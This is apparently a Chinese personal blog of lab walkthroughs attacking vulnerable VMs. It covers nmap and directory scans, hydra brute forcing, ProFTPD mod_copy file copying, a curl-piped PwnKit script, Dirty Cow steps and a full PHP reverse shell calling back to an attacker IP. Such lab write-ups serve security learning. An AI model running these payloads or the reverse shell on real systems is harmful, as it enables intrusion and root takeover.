李乐意的博客

welcome to my blog~!

this is an example introduction. feel free to customize it!

add more lines to make it personal.

things i love:

  • coding
  • cats
  • coffee

tags:
@ 01/01/0001

如果扫描不到主机https://blog.csdn.net/Czheisenberg/article/details/122897376

端口扫描

nmap -sn --min-rate 10000 192.160.30.0/24
nmap --min-rate 10000 -p- 192.168.30.139
nmap --min-rate 10000 -sT -sV -sC -O -p22,8080,8081 -oA scan/detail 192.168.30.139
nmap --min-rate 10000 -sU -p- -oA scan/udp 192.168.30.139
nmap -script=vuln 192.168.30.139

服务探测

image-20250923164316088

8080端口说网站正在创建,以后再来。

/robots.txt无有效信息。

输入无效url时,页面提示。泄露目录地址mercuryfacts/

image-20250923164701874

http://192.168.30.139:8080/mercuryfacts/

目录爆破

gobuster dir -u http://192.168.30.139:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

image-20250923171940442

mercuryfacts探测

image-20250923164805221

一张图片:http://192.168.30.139:8080/static/mercury_facts/mercury_1.jpg

两个🔗:

  • http://192.168.30.139:8080/mercuryfacts/1
  • http://192.168.30.139:8080/mercuryfacts/todo

对图片file、exiftool、binwalk3查看类型、信息、绑定信息。并无特殊内容。

image-20250923165409087

注意到url链接中存在数字,尝试更改。测了一下到8.

# 1
Fact id: 1. (('Mercury does not have any moons or rings.',),)
事实编号:1. (水星没有任何卫星或环。),)
# 2
Fact id: 2. (('Mercury is the smallest planet.',),)
事实 ID:2. ('水星是太阳系中最小的行星。',)
# 3
Fact id: 3. (('Mercury is the closest planet to the Sun.',),)
事实 ID:3. (('水星是距离太阳最近的行星。'),)
#4
Fact id: 4. (('Your weight on Mercury would be 38% of your weight on Earth.',),)
事实编号:4. ('在 Mercury 上的体重将是你在地球上的体重的 38%。',)
#5
Fact id: 5. (('A day on the surface of Mercury lasts 176 Earth days.',),)
事实编号:5. ('水星表面的一天相当于地球上的 176 天。',)
#6
Fact id: 6. (('A year on Mercury takes 88 Earth days.',),)
事实编号:6. (“水星上的一年相当于 88 个地球日。”,)
#7
Fact id: 7. (("It's not known who discovered Mercury.",),)
事实编号:7. ((“无人知晓是谁发现了水星。”),)
# 8
Fact id: 8. (('A year on Mercury is just 88 days long.',),)
事实编号:8. (“水星上的一年只有 88 天。”,)

image-20250923165432029

tags:
@ 01/01/0001

扫描不到ip靶场网卡问题

开机狂按shift。看到这个窗口按e,开始编辑。

image-20251015093420061

找到ro改为rw signie init=/bin/bash,然后ctrl+x。

ip a看一下网卡名字。

然后找/etc/network/interfaces文件或etc/netplan下的文件。

/etc/network/interfaces

  • 传统方法:主要用于 DebianUbuntu(16.04 及更早版本)
  • 后端:直接使用 ifupdown 工具链
  • 配置格式:INI 风格的配置文件

/etc/netplan

  • 现代方法:Ubuntu 18.04+ 默认使用,逐渐在其他发行版推广
  • 后端:支持多种网络管理器(NetworkManager、systemd-networkd)
  • 配置格式:YAML 格式

这里在etc/netplan目录下,修改网卡名字为ens33就可以了。

端口扫描

nmap --min-rate 10000 -sTVC -p- -oA scan/detail 192.168.30.149
nmap --min-rate 10000 -sUVC -p- -oA scan/udp 192.168.30.149

22和80。

80是apache的默认页。

目录扫描

简单扫描。

dirb http://192.168.30.149

专项扫描。

dirb http://192.168.30.149 /usr/share/dirb/wordlists/vulns/apache.txt

拓展扫描。

gobuster dir -u http://192.168.30.149 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

image-20251015095650777

image-20251015095739633

查看remb.txt和remb2.txt文件。

只有remb.txt还存在。

first_stage:flagitifyoucan1234

看格式是个账户:密码。

image-20251015100040316

信息收集

当前交互性不好。

tags:
@ 01/01/0001

端口扫描

nmap --min-rate 10000 -sn 192.168.30.0/24
nmap --min-rate 10000 -p- 192.168.30.141
nmap --min-rate 10000 -sT -sV -sC -O -p22,80,3306,8080,8081 -oA scan/detail  192.168.30.141
nmap --min-rate 10000 -sU -p- -oA scan/udp 192.168.30.141
nmap --min-rate 10000 -script=vuln -p22,80,3306,8080 -oA scan/vuln 192.168.30.141

服务探测

80端口。是个webpy2框架写的http服务。但是登录注册功能都无效。应该是个静态页面。

image-20250923195431413

看8080端口。

image-20250923195357226

漏洞扫描结果中发现有wordpress服务。不过/wordpress和/wordpress/wp-login.php都因为数据库问题无法访问。

不过可以访问的目录有其他目录下没有价值内容。除了/dubug。

image-20250923200000527

image-20250923200029978

就是个webshell功能。

信息收集

可登录用户。

image-20250923200159581

root和brexit。

image-20250923200231369

这条 sudo -l 命令的输出表明,www-data 用户可以在 localhost 上以 brexit 用户的身份,执行 /bin/bash 命令,并且不需要输入密码

sudo -u brexit /bin/bash

现在我们先拿到brexit用户。升级终端

python -c "import pty;pty.spawn('/bin/bash')"
#设置终端类型以支持 vim、less 等程序的正常显示。
export TERM=xterm

image-20250924100527731

tags:
@ 01/01/0001

端口扫描

image-20250928103623723

21和2121端口ftp服务存在匿名登录。anonymous

image-20250928104205295

服务探测

image-20250927223304747

80端口下,一个外部链接,很简单。目录爆破下。

image-20250927223504053

image-20250928104426746

那个一个凭据rootrootl

SSH 服务探测

image-20250929154009171

不能直接使用账号密码登录。

FTP 服务探测

anonymous:anonymous

ftp 192.168.30.146

2121端口。

ftp 192.168.30.146 

image-20250929110453293

服务器在被动模式下打开的随机数据端口被防火墙或路由规则阻止了

回到21端口。

发现一个pub目录,下载到本地。如果是单个文件可以用get,但是目录的话可以用megt。

mget下载

ftp登录后。看一下有哪些命令。

help
mget pub/*

wget下载目录文件

# wget
wget -r --ftp-user=用户名 --ftp-password=密码 ftp://FTP服务器地址/远程目录名/
  • -r (or --recursive): 启用递归下载,这是下载整个目录的关键。
  • --no-parent: 确保它不会爬到父目录中去,只下载指定目录及其子目录的内容。
wget -r --no-parent --ftp-user=anonymous --ftp-password=anonymous ftp://192.168.30.146/pub/

lftp命令下载

lftp 是一个功能更强大的 FTP 客户端,它提供了 mirror 命令,可以轻松实现递归下载。如果您的系统安装了 lftp,这是非常高效的方法。

lftp -u 用户名,密码 FTP服务器地址
  1. 连接到 FTP 服务器:

    Bash

  2. 执行递归下载(镜像):

    Bash

    mirror /远程目录名 /本地目标路径
    

示例:

Bash

# lftp 命令行
lftp -u myuser,mypass 192.168.1.100
lftp 192.168.1.100:~> mirror /remote/files /home/localuser/downloads/
lftp 192.168.1.100:~> bye
  • mirror 命令会自动下载远程目录下的所有文件和子目录,并保持本地目录结构与远程一致。

查看目录信息。

tree -a 192.168.30.146

image-20250929110725500

smb服务

smb服务探测

使用nmap探测

nmap -p 445 -sV 192.168.30.146

image-20250929143323195

确定是Samba版本。

Nmap 自带许多用于 SMB 枚举的脚本,无需凭据即可运行:

NSE 脚本 目的 示例命令
smb-enum-shares 枚举共享。尝试列出目标系统上的所有共享目录,包括匿名共享。 nmap -p 445 --script smb-enum-shares <目标IP>
smb-enum-users 枚举用户。尝试列出目标系统上的用户账号,但很多现代 Windows 系统默认禁用此功能。 nmap -p 445 --script smb-enum-users <目标IP>
smb-os-discovery OS 发现。获取关于操作系统的详细信息,包括域名/工作组、计算机名称、系统时间等。 nmap -p 445 --script smb-os-discovery <目标IP>
smb-security-mode 安全模式。检查 SMB 签名是否开启,并报告 SMB 版本。 nmap -p 445 --script smb-security-mode <目标IP>
# 枚举共享目录
nmap --min-rate 10000 -p 445 --script smb-enum-shares 192.168.30.146 -oA scan/smbshares
# 枚举用户
nmap --min-rate 10000 -p 445 --script smb-enum-users 192.168.30.146 -oA scan/smbusers
# OS发现
nmap --min-rate 10000 -p 445 --script smb-os-discovery 192.168.30.146 -oA scan/smbos
# 安全模式
nmap --min-rate 10000 -p 445 --script smb-security-mode 192.168.30.146 -oA scan/smbsecu

使用smbclient探测

smbclient -L 192.168.30.146 -N
# -L: 列出服务 (List)
# -N: 不使用密码 (No password)

image-20250929145006963

这是目标服务器上公开或至少对匿名用户可见的共享目录(Sharename)和服务的列表:

Sharename Type Comment 解释
print$ Disk Printer Drivers 用于存储打印机驱动程序的管理共享,通常是默认共享。
smbdata Disk smbdata 一个普通的文件共享。 这很可能包含用户数据或系统文件,是渗透测试中重点关注的目标。
smbuser Disk smbuser 另一个普通的文件共享。 这也可能是包含有用信息的目标。
IPC$ IPC IPC Service (Samba 4.9.1) 进程间通信 (IPC) 共享。 这是一个默认的隐藏管理共享,用于远程管理和程序通信。它同时暴露了服务器正在运行 Samba 4.9.1 版本。

使用enum4linux (专用枚举工具)

enum4linux 是一个自动化脚本,专门用于在 Linux/Kali 上执行多种 SMB 和 NetBIOS 枚举技术。

核心功能

这个工具整合了多种技术来获取以下信息:

  • 用户列表
  • 组列表
  • 共享列表
  • 密码策略信息
enum4linux 192.168.30.146

探测流程总结

nmap --min-rate 10000 -p 445 --script smb-os-discovery 192.168.30.146 -oA scan/smbos
nmap --min-rate 10000 -p 445 --script smb-security-mode 192.168.30.146 -oA scan/smbsecu
# 列出共享目录
smbclient -L 192.168.30.146 -N
# 枚举用户
nmap --min-rate 10000 -p 445 --script smb-enum-users 192.168.30.146 -oA scan/smbusers
# 连接服务

smb服务连接

使用smbclient

smbclient //服务器IP或名称/共享名 -U 用户名
# 需要密码
smbclient //192.168.30.146/myshare -U myuser
# 匿名访问
smbclient //192.168.30.146/myshare -N # 或 -U %

匿名用户虽然可以登录,但是无权访问。

image-20250929150001423

使用smbuser(该用户名在nmap的用户枚举脚本中发现)。

smbclient //192.168.30.146/smbdata -U smbuser
smbclient //192.168.30.146/smbdata -N 

需要密码,尝试上面发现的凭据rootrootl。失败。

那么smb服务这一块就剩下匿名登录可以访问的smbdata目录了。

查看目录详细内容。

exit
# 退出smb服务到本地
mkdir smb
cd smb
# 在当前目录进入smb服务
smbclient //192.168.30.146 -N 

# mget所有文件,mget只能下载文件,会逃过目录
mget *
# 每个都yes

使用mount挂载

使用mount挂载则可以看到目录和文件。但是挂载失败,因为用户身份。

# 创建挂载点
mkdir smb_mnt
# 匿名身份
sudo mount -t cifs //192.168.30.146/smbdata ./smb_mnt -o username=guest,password=
# 卸载挂载点
sudo umount /mnt/smb_share

回到我们一个个下载的目录下。

image-20250929154111175

暂时没发现有用信息,ssh_config文件中可以看到确实只能通过ssh证书登录。

image-20250929155027264

撞库

燃尽了,这里整理账号密码。

root
smbuser
rootrootl

除了ssh和nfs和smb,就只有ftp了。

hydra -L user.txt -P password.txt ftp://192.168.30.146

燃尽了。失败了。我不理解。原来是密码输错了。1``l

rootroot1
hydra -L user.txt -P password.txt ftp://192.168.30.146
hydra -L user.txt -P password.txt ftp://192.168.30.146 -s 2121

image-20250929160248216

两个ftp端口都成功。

登录ftp

ftp 192.168.30.146

image-20250929160428552

连接的是smbuser用户的家目录位置。

登录2121端口的ftp服务

ftp 192.168.30.146

image-20250929165803463

使用的ProFTPD 1.3.5服务。ProFTPD 1.3.5 版本存在一个著名的漏洞:mod_copy 模块的任意文件复制和远程命令执行漏洞

SSH密钥登录

上传公钥

根据ssh_config中的配置。

image-20250929161102300

我们只需在该用户家目录下创建.ssh/authorized_keys路径就可以。

先在kali生成密钥对。

在现代系统中,Ed25519 是推荐的密钥类型,因为它更快、更安全且密钥更短。如果兼容性是首要考虑,则使用 RSA。

密钥类型 推荐命令 密钥大小/效率
Ed25519 (推荐) ssh-keygen -t ed25519 256 位,非常快,安全性高。
RSA (通用) ssh-keygen -t rsa -b 4096 4096 位(推荐长度),兼容性最好。
ssh-keygen -t ed25519 -C "kali-smbuser" -f ./authorized_keys

回车回车。

image-20250929161845621

一个私钥,一个公钥。我们把公钥上传。

ftp 192.168.30.146

image-20250929162328143

使用私钥登录

ssh -i authorized_keys smbuser@192.168.30.146

登录成功。

image-20250929162512716

提权

image-20250929162650091

非常典型的。

polkit的PwnKit提权

cve-2021-4034

https://github.com/ly4k/PwnKit

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

没成功。

ProFTPD 1.3.5 mod_copy漏洞

searchploit ProFTPD

image-20250929180853426

上面几个用来打点。我们看一下这个复制漏洞教程。

Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
Connected to 80.150.216.115.                                                                                                                                                  [0/727]
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
nc 192.168.30.146 2121
site cpfr .ssh/authorized_keys
site cpto /home/smbuser/.ssh/authorized_keys 

image-20250929182756473

这组命令利用了标准的 FTP 协议和您之前提到过的 ProFTPD mod_copy 漏洞所引入的扩展命令(SITE CPFRSITE CPTO)的思想,来在服务器内部复制文件。

命令 协议/工具 作用
nc 192.168.30.146 2121 Netcat (nc) 建立连接: 使用 Netcat 工具连接到目标 IP 192.168.30.1462121 端口。如果 2121 端口上运行的是 FTP 服务,那么您已经建立了原始的 TCP 连接,等待输入 FTP 命令。
site cpfr .ssh/authorized_keys FTP 扩展 (mod_copy) 复制源文件 (Copy From): 通知 FTP 服务器,您希望将位于服务器文件系统上的文件 .ssh/authorized_keys 作为复制操作的源文件。
site cpto /home/smbuser/.ssh/authorized_keys FTP 扩展 (mod_copy) 复制目标文件 (Copy To): 通知 FTP 服务器,您希望将源文件复制到目标位置 /home/smbuser/.ssh/authorized_keys

重新登录ssh。

ssh smbdata@192.168.30.146
su root

image-20250929183204562

到这里才发现,原来提权直接。

su root
rootroot1就可以了

内核提权

uname -a
Linux fileserver 3.10.0-229.el7.x86_64 #1 SMP Fri Mar 6 11:36:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

这个内核版本 3.10.0-229.el7.x86_64 是非常老旧的,存在着多个已知的、可利用的内核漏洞,可以实现本地提权到 root

优先级最高的内核提权漏洞

1. 脏牛 (Dirty Cow) - CVE-2016-5195

  • 漏洞类型: 竞争条件漏洞(Race Condition),存在于 Linux 内核的内存子系统中的写时复制(Copy-on-Write, COW)机制。
  • 影响范围: Linux Kernel >= 2.6.22 版本(2007 年)到 2016 年 10 月底。您的 3.10.0-229.el7.x86_64 肯定在这个范围内。
  • 利用难度: 低到中等。已公开的 Exploit 非常稳定可靠。
  • 效果: 允许本地低权限用户修改只有 root 用户可写的文件。典型的利用方式是修改 /etc/passwd 文件,插入一个具有 root 权限的后门用户,或修改一个现有用户的密码。

如何利用 (简要步骤):

  1. 上传 Exploit: 将 Dirty Cow 的 C 语言 Exploit 代码上传到目标机器(如果目标机器可以访问互联网,也可以直接用 wget)。

  2. 编译: 在目标机器上用 gcc 编译 Exploit。

Bash

gcc -pthread dirty.c -o dirty -lcrypt
  1. 运行: 运行 Exploit 来修改一个文件(例如 /etc/passwd)。
  • 目标: 将一个新的用户条目(例如用户名为 firefart,密码为 firefart)写入 /etc/passwd
  • 执行后: 使用新创建的账户和密码即可 sussh 登录为 root

2. PwnKit (Polkit Local Privilege Escalation) - CVE-2021-4034

  • 漏洞类型: 内存损坏漏洞,存在于 Polkit 的 pkexec 程序中。
  • 影响范围: 这是一个影响几乎所有主要 Linux 发行版超过 12 年的漏洞。
  • 与内核的关系: 虽然 PwnKit 是一个用户空间程序漏洞 (SUID 二进制文件 pkexec),但由于它影响非常广泛,您的系统很可能受到影响
  • 利用难度: 低。Exploit 稳定可靠。
  • 效果: 允许任何非特权本地用户通过执行一个简单的命令立即获得完整的 root 权限。

如何检查和利用 (简要步骤):

  1. 检查 pkexec 您已经在列表中提到它:/usr/bin/pkexec

  2. 上传 Exploit: 将 PwnKit 的 C 语言 Exploit 代码上传到目标机器。

  3. 编译并运行:

Bash

gcc pwnkit.c -o pwnkit
./pwnkit

如果 Exploit 成功,您将获得一个 root Shell。


其他可能适用的漏洞

由于您使用的是 3.10.0-229.el7 这个非常早期的 RHEL 7 内核,还有很多其他漏洞可能适用,但可靠性可能不如 Dirty Cow:

  • CVE-2016-8655 (AF_PACKET / Raw Sockets): 另一个竞争条件漏洞,允许本地用户执行任意代码并获得 root 权限。
  • CVE-2017-1000253 (Stack Clash): 堆栈冲突漏洞,可以被用来提权,但 Exploit 相对复杂且稳定性一般。

建议:

  1. 优先尝试 pkexec (PwnKit),因为您之前枚举了它,且它与内核版本无关,非常通用。

  2. 其次尝试 Dirty Cow,它对您这个老旧的内核版本几乎是必杀技。

  3. 如果前两者失败,再考虑寻找针对您特定内核的 Exploit。 您可以使用 searchsploit 工具在本地 Exploit-DB 数据库中搜索:

Bash

# 在您的 Kali 或攻击机上运行
searchsploit 3.10.0-229

脏牛(Dirty Cow) - CVE-2016-5195

https://github.com/firefart/dirtycow

wget https://github.com/firefart/dirtycow/blob/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
./dirty my-new-password

这个编译报错。换一个。

https://www.exploit-db.com/exploits/40847

https://www.exploit-db.com/exploits/40839

都失败了。

tags:
@ 01/01/0001

服务探测

image-20250920032739946

获取到creds.txt文件。

cat creds.txt | base64 -d
yamdoot:Swarg   

经测试不是ssh账号。看一下http://192.168.30.138/webdav

基于Web的分布式编写和版本控制(英语:Web-based Distributed Authoring and Versioning,缩写:WebDAV)是超文本传输协议(HTTP)的扩展,有利于用户间协同编辑和管理存储在万维网服务器文档。

登录成功,但是当前目录下什么都没有。

image-20250920033351310

找一下webdav漏洞吧。

使用cyberduck登录一下webdav客户端。

上传反弹shell脚本文件。shell.php这个用不了。

<?php
// 反弹 Shell (PHP)
// 仅用于合法授权的渗透测试和安全研究

set_time_limit(0);
$ip = '192.168.30.131'; #你的监听IP和端口,这里是我的kali的ip
$port = 4444;

if (($sock = @fsockopen($ip, $port, $errno, $errstr, 30)) === false) {
    echo "无法连接到监听器。\n";
    exit;
}

$proc = @proc_open('cmd.exe', array(
    0 => $sock,
    1 => $sock,
    2 => $sock
), $pipes);

if (!is_resource($proc)) {
    echo "无法打开进程。\n";
    fclose($sock);
    exit;
}

$status = proc_get_status($proc);
while ($status['running']) {
    $status = proc_get_status($proc);
    usleep(10000);
}

proc_close($proc);
fclose($sock);
?>

image-20250920191901193